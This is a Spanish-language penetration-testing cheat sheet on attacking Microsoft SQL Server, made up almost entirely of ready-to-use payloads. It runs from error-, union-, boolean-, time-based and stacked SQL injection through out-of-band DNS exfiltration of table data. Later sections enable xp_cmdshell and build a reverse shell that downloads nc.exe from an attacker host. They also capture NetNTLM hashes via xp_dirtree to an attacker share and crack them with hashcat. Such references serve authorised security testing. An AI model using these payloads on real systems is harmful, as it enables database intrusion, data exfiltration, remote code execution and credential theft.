Microsoft SQL Server

Enumeración

Versión

# Versión
SELECT @@version

Usuarios

# Usuario actual
SELECT system_user

Bases de datos

# Listado de base de datos
SELECT name FROM sys.databases

Tablas

# Tablas de una base de datos
SELECT table_catalog,table_schema,table_name,table_type FROM <database>.information_schema.tables

Columnas

# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'

Datos

# Datos de una tabla
SELECT * FROM <database>.<schema>.<table>
SELECT * FROM <database>.dbo.<table>

Error-based SQLi

cast(@@version as integer)
cast(@@servername as integer)
cast(db_name() as integer)
convert(int,(@@version))
convert(int,(@@servername))
convert(int,(db_name()))

Bases de datos

cast((SELECT TOP 1 name FROM sys.databases) as integer)--
cast((SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('<database>')) as integer)--

Tablas

cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables) as integer)--
cast((SELECT TOP 1 table_name FROM <database>.information_schema.tables WHERE table_name NOT IN ('<table>')) as integer)--

# Esquema de tabla
cast((SELECT TOP 1 table_schema FROM <database>.information_schema.tables WHERE table_name='<table>') as integer)--

Columnas

cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>') as integer)--
cast((SELECT TOP 1 column_name FROM <database>.information_schema.columns WHERE table_name='<table>' AND column_name NOT IN ('<column>')) as integer)--

Datos

cast((SELECT <column> FROM <database>.<schema>.<table>) as integer)--
cast((SELECT <column> FROM <database>.dbo.<table>) as integer)--
cast((SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM <database>.<schema>.<table>) as integer)--

Union-based SQLi

Obtener información dentro de una sola columna

UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1--

Boolean-based SQLi

' AND 1=1--

Time-based SQLi

WAITFOR DELAY '0:0:10'
'; IF (1=1) WAITFOR DELAY '0:0:10'--

Stacked Queries SQLi

;SELECT @@version
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)

Out-of-band DNS

  • El largo máximo para un nombre de subdominio es 63 caracteres.

  • El largo máximo para el nombre de dominio completo, incluyendo todos los subdominios y el dominio principal, no puede exceder los 253 caracteres en total.

# master..xp_dirtree
DECLARE @Q varchar(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_fileexist
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@Q+'.<domain-name>\\x"');--

# master..xp_subdirs
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@Q+'.<domain-name>\\x"');--
DECLARE @Q VARCHAR(MAX);DECLARE @A VARCHAR(63);DECLARE @B VARCHAR(63);SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>;SELECT @A=SUBSTRING(@Q,3,63);SELECT @B=SUBSTRING(@Q,3+63,63);EXEC('master..xp_subdirs "\\'+@A+'.<domain-name>\x"');EXEC('master..xp_subdirs "\\'+@B+'.<domain-name>\x"');--

# sys.dm_os_file_exists
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@Q+'.<domain-name>\x');--

# fn_trace_gettable
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@Q+'.<domain-name>\x.trc',DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_trace_gettable('\\'+@A+'.'+@B+'.<domain-name>\x.trc',DEFAULT);--

# fn_get_audit_file
DECLARE @Q VARCHAR(1024);SELECT @Q=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@Q+'.<domain-name>\',DEFAULT,DEFAULT);--
DECLARE @Q VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT TOP 1 @Q=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), <column>), 1) FROM <table>; SELECT @A=SUBSTRING(@Q,3,63); SELECT @B=SUBSTRING(@Q,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.<domain-name>\',DEFAULT,DEFAULT);--

Remote Code Execution (RCE)

Verificación de permisos.

# General
IS_SRVROLEMEMBER('sysadmin');
# Boolean-based SQLi
' AND IS_SRVROLEMEMBER('sysadmin')=1;--

Habilitación de "advanced options".

# General
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--

Habilitación de "xp_cmdshell".

# General
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# SQLi
';EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

Ejecución remota de código.

# General
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami';

# Blind
EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';
';EXEC xp_cmdshell 'ping /n 4 <attacker-IP-address>';--
## máquina atacante
sudo tcpdump -i <network-interface> icmp

Reverse shell

Habilitación de servidor HTTP para compartir el archivo nc.exe.

python3 -m http.server <port>

Generación de payload.

python3 -c 'import base64; print(base64.b64encode((r"""(new-object net.webclient).downloadfile("http://<attacker-IP-address>/nc.exe", "c:\windows\tasks\nc.exe"); c:\windows\tasks\nc.exe -nv <attacker-IP-address> <listen-port> -e c:\windows\system32\cmd.exe;""").encode("utf-16-le")).decode())'

Ejecución de Netcat en máquina atacante en modo escucha.

nc -lvnp <listen-port>

Ejecución de reverse shell.

EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>'
';EXEC xp_cmdshell 'powershell -exec bypass -enc <payload>';--

Filtración de hashes NetNTLM

Ejecución de Responder en máquina atacante.

responder -I <interface>

Filtración de hashes NetNTLM.

# General
EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;

# SQLi
';EXEC master..xp_dirtree '\\<attacker-IP-address>\myshare', 1, 1;--

Cracking de hashes.

hashcat -m 5600 -a 0 hash.txt <path-wordlist>

Lectura de archivos

Verificación de permisos.

# General
SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS';

# Boolean-based SQLi
' AND (SELECT COUNT(*) FROM fn_my_permissions(NULL, 'DATABASE') WHERE permission_name = 'ADMINISTER BULK OPERATIONS' OR permission_name = 'ADMINISTER DATABASE BULK OPERATIONS')>0;--

Última actualización

¿Te fue útil?